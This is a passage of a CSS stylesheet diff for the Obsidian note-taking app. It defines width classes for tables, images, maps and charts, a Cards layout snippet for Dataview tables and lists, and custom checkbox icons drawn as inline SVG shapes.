min(var(--line-width), var(--max-width)); + --table-max-width: 100%; + --table-margin: auto; + --table-width: auto; + --table-edge-cell-padding-first: 8px; + --table-edge-cell-padding-last: 8px; + --table-wrapper-width: auto; +} + +.table-wide, +.table-max, +.table-100 { + --table-max-width: 100%; + --table-width: 100%; +} + +.table-wide { + --container-table-width: var(--line-width-wide); + --container-dataview-table-width: var(--line-width-wide); + --container-table-margin: auto; + --table-edge-cell-padding-first: 0px; +} + +.table-max { + --container-table-width: var(--max-width); + --container-table-max-width: calc(var(--max-width) + var(--table-drag-space)*2); + --container-dataview-table-width: var(--max-width); + --container-table-margin: auto; + --table-edge-cell-padding-first: 0px; + --table-margin: 0; +} + +.table-100 { + --container-table-width: 100%; + --container-dataview-table-width: 100%; + --container-table-max-width: 100%; + --container-table-margin: 0; + --table-edge-cell-padding-first: 16px; + --table-edge-cell-padding-last: 16px; + --table-margin: 0; + --table-drag-padding: var(--table-drag-space) 0; + --table-wrapper-width: min(fit-content, 100%); + --bases-cards-embed-padding: 0 12px; + --bases-header-padding-end: var(--size-4-2); + --bases-header-padding-start: var(--size-4-2); +} +.table-100 .bases-view[data-view-type=table] { + --bases-embed-border-width: 0; + --bases-embed-border-radius: 0; +} +.table-100 .table-col-btn { + cursor: default !important; + margin-top: 8px; + height: var(--table-header-size); + inset-inline-start: calc(100% - var(--table-drag-handle-size) - 4px) !important; +} +.table-100 .markdown-source-view.mod-cm6, .table-100.markdown-source-view.mod-cm6 { + --table-drag-handle-background-active: transparent; +} +.table-100 .markdown-source-view.mod-cm6 .cm-table-widget .table-row-drag-handle, .table-100.markdown-source-view.mod-cm6 .cm-table-widget .table-row-drag-handle { + inset-inline-end: calc(100% - var(--table-drag-handle-size)) !important; +} + +.img-wide, +.img-max, +.img-100 { + --img-max-width: 100%; + --img-width: 100%; +} + +.img-wide { + --container-img-width: var(--line-width-wide); + --img-line-width: var(--line-width-wide); + --img-margin-start: calc(50% - var(--line-width-wide)/2); +} + +.img-max { + --container-img-width: var(--max-width); + --img-line-width: var(--max-width); + --img-margin-start: calc(50% - var(--max-width)/2); +} + +.img-100 { + --container-img-width: 100%; + --container-img-max-width: 100%; + --img-line-width: 100%; + --img-margin-start:0; +} + +.map-wide, +.map-max, +.map-100 { + --map-max-width: 100%; + --map-width: 100%; +} + +.map-wide { + --container-map-width: var(--line-width-wide); +} + +.map-max { + --container-map-width: var(--max-width); +} + +.map-100 { + --container-map-width: 100%; + --container-map-max-width: 100%; + --map-header-padding: var(--size-4-2); +} +.map-100 .bases-view[data-view-type=map] { + --bases-embed-border-radius: 0; +} + +.chart-wide, +.chart-max, +.chart-100 { + --chart-max-width: 100%; + --chart-width: 100%; +} + +.chart-wide { + --container-chart-width: var(--line-width-wide); +} + +.chart-max { + --container-chart-width: var(--max-width); +} + +.chart-100 { + --container-chart-width: 100%; + --container-chart-max-width: 100%; +} + +.iframe-wide, +.iframe-max, +.iframe-100 { + --iframe-max-width: 100%; + --iframe-width: 100%; +} + +.iframe-wide { + --container-iframe-width: var(--line-width-wide); +} + +.iframe-max { + --container-iframe-width: var(--max-width); +} + +.iframe-100 { + --container-iframe-width: 100%; + --container-iframe-max-width: 100%; +} + +/* Block widths ------------------------------------ + + Because we are using :has() this method requires + Obsidian installer 1.1.9 or above. +*/ +.markdown-source-view.mod-cm6.is-readable-line-width .cm-contentContainer.cm-contentContainer > .cm-content .cm-table-widget, +.markdown-source-view.mod-cm6.is-readable-line-width .cm-contentContainer.cm-contentContainer > .cm-content > div:has(table), +.markdown-preview-view.is-readable-line-width .markdown-preview-sizer .cm-table-widget, +.markdown-preview-view.is-readable-line-width .markdown-preview-sizer > div:has(table) { + width: var(--container-table-width); + max-width: var(--container-table-max-width); + margin-inline: var(--container-table-margin) !important; + padding-inline-start: var(--table-drag-padding); +} +.markdown-source-view.mod-cm6.is-readable-line-width .cm-contentContainer.cm-contentContainer > .cm-content .el-table, +.markdown-preview-view.is-readable-line-width .markdown-preview-sizer .el-table { + margin-inline: var(--container-table-margin) !important; + padding-inline-start: var(--table-drag-padding); +} +.markdown-source-view.mod-cm6.is-readable-line-width .cm-contentContainer.cm-contentContainer > .cm-content .table-wrapper, +.markdown-preview-view.is-readable-line-width .markdown-preview-sizer .table-wrapper { + width: var(--table-wrapper-width); +} +.markdown-source-view.mod-cm6.is-readable-line-width .cm-contentContainer.cm-contentContainer > .cm-content > .bases-embed, +.markdown-source-view.mod-cm6.is-readable-line-width .cm-contentContainer.cm-contentContainer > .cm-content > div:has(:is(.block-language-base, .bases-embed)), +.markdown-source-view.mod-cm6.is-readable-line-width .cm-contentContainer.cm-contentContainer > .cm-content > :has(> :is(.block-language-dataview, .block-language-dataviewjs) table), +.markdown-preview-view.is-readable-line-width .markdown-preview-sizer > .bases-embed, +.markdown-preview-view.is-readable-line-width .markdown-preview-sizer > div:has(:is(.block-language-base, .bases-embed)), +.markdown-preview-view.is-readable-line-width .markdown-preview-sizer > :has(> :is(.block-language-dataview, .block-language-dataviewjs) table) { + width: var(--container-dataview-table-width); + max-width: var(--container-table-max-width); +} +.markdown-source-view.mod-cm6.is-readable-line-width .cm-contentContainer.cm-contentContainer > .cm-content table, +.markdown-preview-view.is-readable-line-width .markdown-preview-sizer table { + width: var(--table-width); + max-width: var(--table-max-width); + margin-inline: var(--table-margin); + min-width: var(--table-min-width); +} +.markdown-source-view.mod-cm6.is-readable-line-width .cm-contentContainer.cm-contentContainer > .cm-content .block-language-dataviewjs > :is(p, h1, h2, h3, h4, h5, h6), +.markdown-preview-view.is-readable-line-width .markdown-preview-sizer .block-language-dataviewjs > :is(p, h1, h2, h3, h4, h5, h6) { + width: var(--line-width); + margin-inline: var(--content-margin); +} +.markdown-source-view.mod-cm6.is-readable-line-width .cm-contentContainer.cm-contentContainer > .cm-content .block-language-dataviewjs > .dataview-error, +.markdown-preview-view.is-readable-line-width .markdown-preview-sizer .block-language-dataviewjs > .dataview-error { + margin: 0 auto; + width: var(--content-line-width); +} +.markdown-source-view.mod-cm6.is-readable-line-width .cm-contentContainer.cm-contentContainer > .cm-content .dataview.dataview-error-box, +.markdown-preview-view.is-readable-line-width .markdown-preview-sizer .dataview.dataview-error-box { + margin-inline: var(--table-margin); +} +.markdown-source-view.mod-cm6.is-readable-line-width .cm-contentContainer.cm-contentContainer > .cm-content > .image-embed, +.markdown-preview-view.is-readable-line-width .markdown-preview-sizer > .image-embed { + padding-top: 0.25rem; + padding-bottom: 0.25rem; +} +.markdown-source-view.mod-cm6.is-readable-line-width .cm-contentContainer.cm-contentContainer > .cm-content > .image-embed, +.markdown-source-view.mod-cm6.is-readable-line-width .cm-contentContainer.cm-contentContainer > .cm-content > div:has(.image-embed), +.markdown-preview-view.is-readable-line-width .markdown-preview-sizer > .image-embed, +.markdown-preview-view.is-readable-line-width .markdown-preview-sizer > div:has(.image-embed) { + width: var(--container-img-width); + max-width: var(--container-img-max-width); +} +.markdown-source-view.mod-cm6.is-readable-line-width .cm-contentContainer.cm-contentContainer > .cm-content > .image-embed img, +.markdown-source-view.mod-cm6.is-readable-line-width .cm-contentContainer.cm-contentContainer > .cm-content > div:has(.image-embed) img, +.markdown-preview-view.is-readable-line-width .markdown-preview-sizer > .image-embed img, +.markdown-preview-view.is-readable-line-width .markdown-preview-sizer > div:has(.image-embed) img { + max-width: var(--img-max-width); +} +.markdown-source-view.mod-cm6.is-readable-line-width .cm-contentContainer.cm-contentContainer > .cm-content > img, +.markdown-preview-view.is-readable-line-width .markdown-preview-sizer > img { + max-width: var(--img-line-width); + margin-inline-start: var(--img-margin-start) !important; +} +.markdown-source-view.mod-cm6.is-readable-line-width .cm-contentContainer.cm-contentContainer > .cm-content div:has(> .block-language-dataviewjs canvas, > .block-language-chart), +.markdown-preview-view.is-readable-line-width .markdown-preview-sizer div:has(> .block-language-dataviewjs canvas, > .block-language-chart) { + width: var(--container-chart-width); + max-width: var(--container-chart-max-width); +} +.markdown-source-view.mod-cm6.is-readable-line-width .cm-contentContainer.cm-contentContainer > .cm-content div:has(> .block-language-dataviewjs canvas, > .block-language-chart) canvas, +.markdown-preview-view.is-readable-line-width .markdown-preview-sizer div:has(> .block-language-dataviewjs canvas, > .block-language-chart) canvas { + max-width: var(--chart-max-width); +} +.markdown-source-view.mod-cm6.is-readable-line-width .cm-contentContainer.cm-contentContainer > .cm-content div:has(.bases-view[data-view-type=map]), +.markdown-preview-view.is-readable-line-width .markdown-preview-sizer div:has(.bases-view[data-view-type=map]) { + width: var(--container-map-width); + max-width: var(--container-map-max-width); + --bases-header-padding-end: var(--map-header-padding); + --bases-header-padding-start: var(--map-header-padding); +} +.markdown-source-view.mod-cm6.is-readable-line-width .cm-contentContainer.cm-contentContainer > .cm-content div:has(.bases-view[data-view-type=map]) iframe, +.markdown-preview-view.is-readable-line-width .markdown-preview-sizer div:has(.bases-view[data-view-type=map]) iframe { + max-width: var(--map-max-width); +} +.markdown-source-view.mod-cm6.is-readable-line-width .cm-contentContainer.cm-contentContainer > .cm-content > div:has(> :is(iframe, .cm-html-embed)), +.markdown-preview-view.is-readable-line-width .markdown-preview-sizer > div:has(> :is(iframe, .cm-html-embed)) { + width: var(--container-iframe-width); + max-width: var(--container-iframe-max-width); +} +.markdown-source-view.mod-cm6.is-readable-line-width .cm-contentContainer.cm-contentContainer > .cm-content > div:has(> :is(iframe, .cm-html-embed)) iframe, +.markdown-preview-view.is-readable-line-width .markdown-preview-sizer > div:has(> :is(iframe, .cm-html-embed)) iframe { + max-width: var(--iframe-max-width); +} + +.borders-none { + --divider-width:0px; + --tab-outline-width: 0px; +} + +body:is(.borders-none) .mod-root .workspace-tab-header-container:is(div, :hover) { + --tab-outline-width: 0px; +} + +/* MIT License | Copyright (c) Stephan Ango (@kepano) + +Cards snippet for Obsidian + +author: @kepano +version: 3.0.1 + +Support my work: +https://github.com/sponsors/kepano + +*/ +body { + --cards-min-width: 180px; + --cards-max-width: 1fr; + --cards-mobile-width: 120px; + --cards-image-height: 400px; + --cards-padding: 1.2em; + --cards-image-fit: contain; + --cards-background: transparent; + --cards-background-hover: transparent; + --cards-border-width: 1px; + --cards-aspect-ratio: auto; + --cards-columns: repeat(auto-fit, minmax(var(--cards-min-width), var(--cards-max-width))); +} + +@media (max-width: 400pt) { + body { + --cards-min-width:var(--cards-mobile-width); + } +} +.cards.table-100 table.dataview tbody, +.table-100 .cards table.dataview tbody { + padding: 0.25rem 0.75rem; +} + +.cards table.dataview { + --table-width: 100%; + --table-edge-cell-padding-first: calc(var(--cards-padding)/2); + --table-edge-cell-padding-last: calc(var(--cards-padding)/2); + --table-cell-padding: calc(var(--cards-padding)/3) calc(var(--cards-padding)/2); + line-height: 1.3; +} +.cards table.dataview tbody { + clear: both; + padding: 0.5rem 0; + display: grid; + grid-template-columns: var(--cards-columns); + grid-column-gap: 0.75rem; + grid-row-gap: 0.75rem; +} +.cards table.dataview > tbody > tr { + background-color: var(--cards-background); + border: var(--cards-border-width) solid var(--background-modifier-border); + display: flex; + flex-direction: column; + margin: 0; + padding: 0 0 calc(var(--cards-padding) / 3); + border-radius: 6px; + overflow: hidden; + transition: box-shadow 0.15s linear; + max-width: var(--cards-max-width); + height: auto; +} +.cards table.dataview > tbody > tr:hover { + background-color: var(--cards-background-hover) !important; + border: var(--cards-border-width) solid var(--background-modifier-border-hover); + box-shadow: 0 4px 6px 0px rgba(0, 0, 0, 0.05), 0 1px 3px 1px rgba(0, 0, 0, 0.025); + transition: box-shadow 0.15s linear; +} +.cards table.dataview tbody > tr > td:first-child { + font-weight: var(--bold-weight); + border: none; +} +.cards table.dataview tbody > tr > td:first-child a { + display: block; +} +.cards table.dataview tbody > tr > td:last-child { + border: none; +} +.cards table.dataview tbody > tr > td:not(:first-child) { + font-size: calc(var(--table-text-size) * 0.9); + color: var(--text-muted); +} +.cards table.dataview tbody > tr > td > * { + padding: calc(var(--cards-padding) / 3) 0; +} +.cards table.dataview tbody > tr > td:not(:last-child):not(:first-child) { + padding: 4px 0; + border-bottom: 1px solid var(--background-modifier-border); + width: calc(100% - var(--cards-padding)); + margin: 0 calc(var(--cards-padding) / 2); +} +.cards table.dataview tbody > tr > td a { + text-decoration: none; +} +.cards table.dataview tbody > tr > td > button { + width: 100%; + margin: calc(var(--cards-padding) / 2) 0; +} +.cards table.dataview tbody > tr > td:last-child > button { + margin-bottom: calc(var(--cards-padding) / 6); +} +.cards table.dataview tbody > tr > td > ul { + width: 100%; + padding: 0.25em 0 !important; + margin: 0 auto !important; +} +.cards table.dataview tbody > tr > td img { + aspect-ratio: var(--cards-aspect-ratio); + width: 100%; + object-fit: var(--cards-image-fit); + max-height: var(--cards-image-height); + background-color: var(--background-secondary); + vertical-align: bottom; +} + +.markdown-source-view.mod-cm6.cards .dataview.table-view-table > tbody > tr > td, +.trim-cols .cards table.dataview tbody > tr > td { + white-space: normal; +} + +.links-int-on .cards table { + --link-decoration: none; +} + +/* Block button */ +.markdown-source-view.mod-cm6.cards .edit-block-button { + top: -1px; + right: 28px; + opacity: 1; +} + +/* ------------------- */ +/* Sorting menu */ +.cards.table-100 table.dataview thead > tr, +.table-100 .cards table.dataview thead > tr { + right: 0.75rem; +} + +.table-100 .cards table.dataview thead:before, +.cards.table-100 table.dataview thead:before { + margin-right: 0.75rem; +} + +.cards table.dataview thead { + user-select: none; + width: 180px; + display: block; + float: right; + position: relative; + text-align: right; + height: 24px; + padding-bottom: 0px; +} +.cards table.dataview thead:hover:after { + background-color: var(--background-modifier-hover); +} +.cards table.dataview thead:hover:before { + background-color: var(--text-muted); +} +.cards table.dataview thead:after, +.cards table.dataview thead:before { + content: ""; + position: absolute; + right: 0; + top: 0; + width: 10px; + height: 16px; + cursor: var(--cursor); + text-align: right; + padding: var(--size-4-1) var(--size-4-2); + margin-bottom: 2px; + border-radius: var(--radius-s); + font-weight: 500; + font-size: var(--font-adaptive-small); +} +.cards table.dataview thead:before { + background-color: var(--text-faint); + -webkit-mask-repeat: no-repeat; + -webkit-mask-size: 16px; + -webkit-mask-position: center center; + -webkit-mask-image: url('data:image/svg+xml;utf8,'); +} +.cards table.dataview thead > tr { + top: -1px; + position: absolute; + display: none; + z-index: 9; + border: 1px solid var(--background-modifier-border-hover); + background-color: var(--background-secondary); + box-shadow: var(--shadow-s); + padding: 6px; + border-radius: var(--radius-m); + flex-direction: column; + margin: 24px 0 0; + width: 100%; +} +.cards table.dataview thead:hover > tr { + display: flex; + height: auto; +} +.cards table.dataview thead > tr > th { + display: block; + padding: 3px 30px 3px 6px !important; + border-radius: var(--radius-s); + width: 100%; + font-weight: 400; + color: var(--text-normal); + cursor: var(--cursor); + border: none; + font-size: var(--font-ui-small); +} +.cards table.dataview thead > tr > th[sortable-style=sortable-asc], +.cards table.dataview thead > tr > th[sortable-style=sortable-desc] { + color: var(--text-normal); +} +.cards table.dataview thead > tr > th:hover { + color: var(--text-normal); + background-color: var(--background-modifier-hover); +} + +/* ------------------- */ +/* Card lists */ +.list-cards.markdown-preview-view .list-bullet, +.list-cards.markdown-preview-view .list-collapse-indicator, .list-cards.markdown-preview-view.markdown-rendered.show-indentation-guide li > ul::before { + display: none; +} +.list-cards.markdown-preview-view div > ul { + display: grid; + gap: 0.75rem; + grid-template-columns: var(--cards-columns); + padding: 0; + line-height: var(--line-height-tight); +} +.list-cards.markdown-preview-view div > ul .contains-task-list { + padding-inline-start: calc(var(--cards-padding) * 1.5); +} +.list-cards.markdown-preview-view div > ul > li.task-list-item > .task-list-item-checkbox { + margin-inline-start: 3px; +} +.list-cards.markdown-preview-view div > ul > li { + background-color: var(--cards-background); + padding: calc(var(--cards-padding) / 2); + border-radius: var(--radius-s); + border: var(--cards-border-width) solid var(--background-modifier-border); + overflow: hidden; + margin-inline-start: 0; +} +.list-cards.markdown-preview-view div > ul .image-embed { + padding: 0; + display: block; + background-color: var(--background-secondary); + border-radius: var(--image-radius); +} +.list-cards.markdown-preview-view div > ul .image-embed img { + aspect-ratio: var(--cards-aspect-ratio); + object-fit: var(--cards-image-fit); + max-height: var(--cards-image-height); + background-color: var(--background-secondary); + vertical-align: bottom; +} +.list-cards.markdown-preview-view div > ul > li > a { + --link-decoration: none; + --link-external-decoration: none; + font-weight: var(--bold-weight); +} +.list-cards.markdown-preview-view div ul > li:hover { + border-color: var(--background-modifier-border-hover); +} +.list-cards.markdown-preview-view div ul ul { + display: block; + width: 100%; + color: var(--text-muted); + font-size: var(--font-smallest); + margin: calc(var(--cards-padding) / -4) 0; + padding: calc(var(--cards-padding) / 2) 0; +} +.list-cards.markdown-preview-view div ul ul ul { + padding-bottom: calc(var(--cards-padding) / 4); +} +.list-cards.markdown-preview-view div ul ul > li { + display: block; + margin-inline-start: 0; +} + +/* ------------------- */ +/* Helper classes */ +.cards.cards-16-9, +.list-cards.cards-16-9 { + --cards-aspect-ratio: 16/9; +} +.cards.cards-1-1, +.list-cards.cards-1-1 { + --cards-aspect-ratio: 1/1; +} +.cards.cards-2-1, +.list-cards.cards-2-1 { + --cards-aspect-ratio: 2/1; +} +.cards.cards-2-3, +.list-cards.cards-2-3 { + --cards-aspect-ratio: 2/3; +} +.cards.cards-cols-1, +.list-cards.cards-cols-1 { + --cards-columns: repeat(1, minmax(0, 1fr)); +} +.cards.cards-cols-2, +.list-cards.cards-cols-2 { + --cards-columns: repeat(2, minmax(0, 1fr)); +} +.cards.cards-cover, +.list-cards.cards-cover { + --cards-image-fit: cover; + /* Images */ +} +.cards.cards-cover tbody > tr > td:first-child, +.list-cards.cards-cover tbody > tr > td:first-child { + padding: 0 !important; + background-color: var(--background-secondary); + display: block; + margin: 0; + width: 100%; +} +.cards.cards-cover tbody > tr > td:first-child img, +.list-cards.cards-cover tbody > tr > td:first-child img { + border-radius: 0; +} +.cards.cards-align-bottom table.dataview tbody > tr > td:last-child, +.list-cards.cards-align-bottom table.dataview tbody > tr > td:last-child { + margin-top: auto; +} + +@media (max-width: 400pt) { + .cards table.dataview tbody > tr > td:not(:first-child) { + font-size: 80%; + } +} +@media (min-width: 400pt) { + .cards-cols-3 { + --cards-columns: repeat(3, minmax(0, 1fr)); + } + .cards-cols-4 { + --cards-columns: repeat(4, minmax(0, 1fr)); + } + .cards-cols-5 { + --cards-columns: repeat(5, minmax(0, 1fr)); + } + .cards-cols-6 { + --cards-columns: repeat(6, minmax(0, 1fr)); + } + .cards-cols-7 { + --cards-columns: repeat(7, minmax(0, 1fr)); + } + .cards-cols-8 { + --cards-columns: repeat(8, minmax(0, 1fr)); + } +} +/* Checklist icons */ +.cm-formatting.cm-formatting-task.cm-property { + font-family: var(--font-monospace); +} + +input[data-task=">"]:checked, +input[data-task="!"]:checked, +input[data-task="-"]:checked, +input[data-task="<"]:checked, +input[data-task=l]:checked, +input[data-task="*"]:checked, +input[data-task=I]:checked, +input[data-task=p]:checked, +input[data-task=f]:checked, +input[data-task=k]:checked, +input[data-task=u]:checked, +input[data-task=w]:checked, +input[data-task=c]:checked, +input[data-task=d]:checked, +input[data-task=b]:checked, +li[data-task=">"] > input:checked, +li[data-task="!"] > input:checked, +li[data-task="-"] > input:checked, +li[data-task="<"] > input:checked, +li[data-task=l] > input:checked, +li[data-task="*"] > input:checked, +li[data-task=I] > input:checked, +li[data-task=p] > input:checked, +li[data-task=f] > input:checked, +li[data-task=k] > input:checked, +li[data-task=u] > input:checked, +li[data-task=d] > input:checked, +li[data-task=w] > input:checked, +li[data-task=c] > input:checked, +li[data-task=b] > input:checked, +li[data-task=">"] > p > input:checked, +li[data-task="!"] > p > input:checked, +li[data-task="-"] > p > input:checked, +li[data-task="<"] > p > input:checked, +li[data-task=l] > p > input:checked, +li[data-task="*"] > p > input:checked, +li[data-task=I] > p > input:checked, +li[data-task=p] > p > input:checked, +li[data-task=f] > p > input:checked, +li[data-task=k] > p > input:checked, +li[data-task=u] > p > input:checked, +li[data-task=d] > p > input:checked, +li[data-task=w] > p > input:checked, +li[data-task=c] > p > input:checked, +li[data-task=b] > p > input:checked { + --checkbox-marker-color: transparent; + border: none; + border-radius: 0; + background-image: none; + background-color: currentColor; + -webkit-mask-size: var(--checkbox-icon); + -webkit-mask-position: 50% 50%; +} + +/* [>] Forwarded */ +input[data-task=">"]:checked, +li[data-task=">"] > input:checked, +li[data-task=">"] > p > input:checked { + color: var(--text-faint); + transform: rotate(90deg); + -webkit-mask-position: 50% 100%; + -webkit-mask-image: url("data:image/svg+xml,%3Csvg xmlns='http://www.w3.org/2000/svg' class='h-5 w-5' viewBox='0 0 20 20' fill='currentColor'%3E%3Cpath d='M10.894 2.553a1 1 0 00-1.788 0l-7 14a1 1 0 001.169 1.409l5-1.429A1 1 0 009 15.571V11a1 1 0 112 0v4.571a1 1 0 00.725.962l5 1.428a1 1 0 001.17-1.408l-7-14z' /%3E%3C/svg%3E"); +} + +/* [<] Schedule */ +input[data-task="<"]:checked, +li[data-task="<"] > input:checked, +li[data-task="<"] > p > input:checked { + color: var(--text-faint); + -webkit-mask-image: url("data:image/svg+xml,%3Csvg xmlns='http://www.w3.org/2000/svg' class='h-5 w-5' viewBox='0 0 20 20' fill='currentColor'%3E%3Cpath fill-rule='evenodd' d='M6 2a1 1 0 00-1 1v1H4a2 2 0 00-2 2v10a2 2 0 002 2h12a2 2 0 002-2V6a2 2 0 00-2-2h-1V3a1 1 0 10-2 0v1H7V3a1 1 0 00-1-1zm0 5a1 1 0 000 2h8a1 1 0 100-2H6z' clip-rule='evenodd' /%3E%3C/svg%3E"); +} + +/* [?] Question */ +input[data-task="?"]:checked, +li[data-task="?"] > input:checked, +li[data-task="?"] > p > input:checked { + --checkbox-marker-color: transparent; + background-color: var(--color-yellow); + border-color: var(--color-yellow); + background-position: 50% 50%; + background-size: 200% 90%; + background-image: url('data:image/svg+xml,%3Csvg xmlns="http%3A%2F%2Fwww.w3.org%2F2000%2Fsvg" width="20" height="20" preserveAspectRatio="xMidYMid meet" viewBox="0 0 16 16"%3E%3Cpath fill="white" fill-rule="evenodd" d="M4.475 5.458c-.284 0-.514-.237-.47-.517C4.28 3.24 5.576 2 7.825 2c2.25 0 3.767 1.36 3.767 3.215c0 1.344-.665 2.288-1.79 2.973c-1.1.659-1.414 1.118-1.414 2.01v.03a.5.5 0 0 1-.5.5h-.77a.5.5 0 0 1-.5-.495l-.003-.2c-.043-1.221.477-2.001 1.645-2.712c1.03-.632 1.397-1.135 1.397-2.028c0-.979-.758-1.698-1.926-1.698c-1.009 0-1.71.529-1.938 1.402c-.066.254-.278.461-.54.461h-.777ZM7.496 14c.622 0 1.095-.474 1.095-1.09c0-.618-.473-1.092-1.095-1.092c-.606 0-1.087.474-1.087 1.091S6.89 14 7.496 14Z"%2F%3E%3C%2Fsvg%3E'); +} +.theme-dark input[data-task="?"]:checked, +.theme-dark li[data-task="?"] > input:checked, +.theme-dark li[data-task="?"] > p > input:checked { + background-image: url('data:image/svg+xml,%3Csvg xmlns="http%3A%2F%2Fwww.w3.org%2F2000%2Fsvg" width="20" height="20" preserveAspectRatio="xMidYMid meet" viewBox="0 0 16 16"%3E%3Cpath fill="black" fill-opacity="0.8" fill-rule="evenodd" d="M4.475 5.458c-.284 0-.514-.237-.47-.517C4.28 3.24 5.576 2 7.825 2c2.25 0 3.767 1.36 3.767 3.215c0 1.344-.665 2.288-1.79 2.973c-1.1.659-1.414 1.118-1.414 2.01v.03a.5.5 0 0 1-.5.5h-.77a.5.5 0 0 1-.5-.495l-.003-.2c-.043-1.221.477-2.001 1.645-2.712c1.03-.632 1.397-1.135 1.397-2.028c0-.979-.758-1.698-1.926-1.698c-1.009 0-1.71.529-1.938 1.402c-.066.254-.278.461-.54.461h-.777ZM7.496 14c.622 0 1.095-.474 1.095-1.09c0-.618-.473-1.092-1.095-1.092c-.606 0-1.087.474-1.087 1.091S6.89 14 7.496 14Z"%2F%3E%3C%2Fsvg%3E'); +} + +/* [/] Incomplete */ +input[data-task="/"]:checked, +li[data-task="/"] > input:checked, +li[data-task="/"] > p > input:checked { + background-image: none; + background-color: transparent; + position: relative; + overflow: hidden; +} +input[data-task="/"]:checked:after, +li[data-task="/"] > input:checked:after, +li[data-task="/"] > p > input:checked:after { + top: 0; + left: 0; + content: " "; + display: block; + position: absolute; + background-color: var(--background-modifier-accent); + width: calc(50% - 0.5px); + height: 100%; + -webkit-mask-image: none; +} + +/* [!] Important */ +input[data-task="!"]:checked, +li[data-task="!"] > input:checked, +li[data-task="!"] > p > input:checked { + color: var(--color-orange); + -webkit-mask-image: url("data:image/svg+xml,%3Csvg xmlns='http://www.w3.org/2000/svg' class='h-5 w-5' viewBox='0 0 20 20' fill='currentColor'%3E%3Cpath fill-rule='evenodd' d='M8.257 3.099c.765-1.36 2.722-1.36 3.486 0l5.58 9.92c.75 1.334-.213 2.98-1.742 2.98H4.42c-1.53 0-2.493-1.646-1.743-2.98l5.58-9.92zM11 13a1 1 0 11-2 0 1 1 0 012 0zm-1-8a1 1 0 00-1 1v3a1 1 0 002 0V6a1 1 0 00-1-1z' clip-rule='evenodd' /%3E%3C/svg%3E"); +} + +/* ["] Quote */ +input[data-task=“]:checked, +li[data-task=“] > input:checked, +li[data-task=“] > p > input:checked, +input[data-task='"']:checked, +li[data-task='"'] > input:checked, +li[data-task='"'] > p > input:checked { + --checkbox-marker-color: transparent; + background-position: 50% 50%; + background-color: var(--color-cyan); + border-color: var(--color-cyan); + background-size: 75%; + background-repeat: no-repeat; + background-image: url('data:image/svg+xml,%3Csvg xmlns="http%3A%2F%2Fwww.w3.org%2F2000%2Fsvg" width="20" height="20" preserveAspectRatio="xMidYMid meet" viewBox="0 0 24 24"%3E%3Cpath fill="white" d="M6.5 10c-.223 0-.437.034-.65.065c.069-.232.14-.468.254-.68c.114-.308.292-.575.469-.844c.148-.291.409-.488.601-.737c.201-.242.475-.403.692-.604c.213-.21.492-.315.714-.463c.232-.133.434-.28.65-.35l.539-.222l.474-.197l-.485-1.938l-.597.144c-.191.048-.424.104-.689.171c-.271.05-.56.187-.882.312c-.318.142-.686.238-1.028.466c-.344.218-.741.4-1.091.692c-.339.301-.748.562-1.05.945c-.33.358-.656.734-.909 1.162c-.293.408-.492.856-.702 1.299c-.19.443-.343.896-.468 1.336c-.237.882-.343 1.72-.384 2.437c-.034.718-.014 1.315.028 1.747c.015.204.043.402.063.539l.025.168l.026-.006A4.5 4.5 0 1 0 6.5 10zm11 0c-.223 0-.437.034-.65.065c.069-.232.14-.468.254-.68c.114-.308.292-.575.469-.844c.148-.291.409-.488.601-.737c.201-.242.475-.403.692-.604c.213-.21.492-.315.714-.463c.232-.133.434-.28.65-.35l.539-.222l.474-.197l-.485-1.938l-.597.144c-.191.048-.424.104-.689.171c-.271.05-.56.187-.882.312c-.317.143-.686.238-1.028.467c-.344.218-.741.4-1.091.692c-.339.301-.748.562-1.05.944c-.33.358-.656.734-.909 1.162c-.293.408-.492.856-.702 1.299c-.19.443-.343.896-.468 1.336c-.237.882-.343 1.72-.384 2.437c-.034.718-.014 1.315.028 1.747c.015.204.043.402.063.539l.025.168l.026-.006A4.5 4.5 0 1 0 17.5 10z"%2F%3E%3C%2Fsvg%3E'); +} +.theme-dark input[data-task=“]:checked, +.theme-dark li[data-task=“] > input:checked, +.theme-dark li[data-task=“] > p > input:checked, +.theme-dark input[data-task='"']:checked, +.theme-dark li[data-task='"'] > input:checked, +.theme-dark li[data-task='"'] > p > input:checked { + background-image: url('data:image/svg+xml,%3Csvg xmlns="http%3A%2F%2Fwww.w3.org%2F2000%2Fsvg" width="20" height="20" preserveAspectRatio="xMidYMid meet" viewBox="0 0 24 24"%3E%3Cpath fill="black" fill-opacity="0.7" d="M6.5 10c-.223 0-.437.034-.65.065c.069-.232.14-.468.254-.68c.114-.308.292-.575.469-.844c.148-.291.409-.488.601-.737c.201-.242.475-.403.692-.604c.213-.21.492-.315.714-.463c.232-.133.434-.28.65-.35l.539-.222l.474-.197l-.485-1.938l-.597.144c-.191.048-.424.104-.689.171c-.271.05-.56.187-.882.312c-.318.142-.686.238-1.028.466c-.344.218-.741.4-1.091.692c-.339.301-.748.562-1.05.945c-.33.358-.656.734-.909 1.162c-.293.408-.492.856-.702 1.299c-.19.443-.343.896-.468 1.336c-.237.882-.343 1.72-.384 2.437c-.034.718-.014 1.315.028 1.747c.015.204.043.402.063.539l.025.168l.026-.006A4.5 4.5 0 1 0 6.5 10zm11 0c-.223 0-.437.034-.65.065c.069-.232.14-.468.254-.68c.114-.308.292-.575.469-.844c.148-.291.409-.488.601-.737c.201-.242.475-.403.692-.604c.213-.21.492-.315.714-.463c.232-.133.434-.28.65-.35l.539-.222l.474-.197l-.485-1.938l-.597.144c-.191.048-.424.104-.689.171c-.271.05-.56.187-.882.312c-.317.143-.686.238-1.028.467c-.344.218-.741.4-1.091.692c-.339.301-.748.562-1.05.944c-.33.358-.656.734-.909 1.162c-.293.408-.492.856-.702 1.299c-.19.443-.343.896-.468 1.336c-.237.882-.343 1.72-.384 2.437c-.034.718-.014 1.315.028 1.747c.015.204.043.402.063.539l.025.168l.026-.006A4.5 4.5 0 1 0 17.5 10z"%2F%3E%3C%2Fsvg%3E'); +} + +/* [-] Canceled */ +input[data-task="-"]:checked, +li[data-task="-"] > input:checked, +li[data-task="-"] > p > input:checked { + color: var(--text-faint); + -webkit-mask-image: url("data:image/svg+xml,%3Csvg xmlns='http://www.w3.org/2000/svg' class='h-5 w-5' viewBox='0 0 20 20' fill='currentColor'%3E%3Cpath fill-rule='evenodd' d='M3 10a1 1 0 011-1h12a1 1 0 110 2H4a1 1 0 01-1-1z' clip-rule='evenodd' /%3E%3C/svg%3E"); +} + +body:not(.tasks) .markdown-source-view.mod-cm6 .HyperMD-task-line[data-task]:is([data-task="-"]), +body:not(.tasks) .markdown-preview-view ul 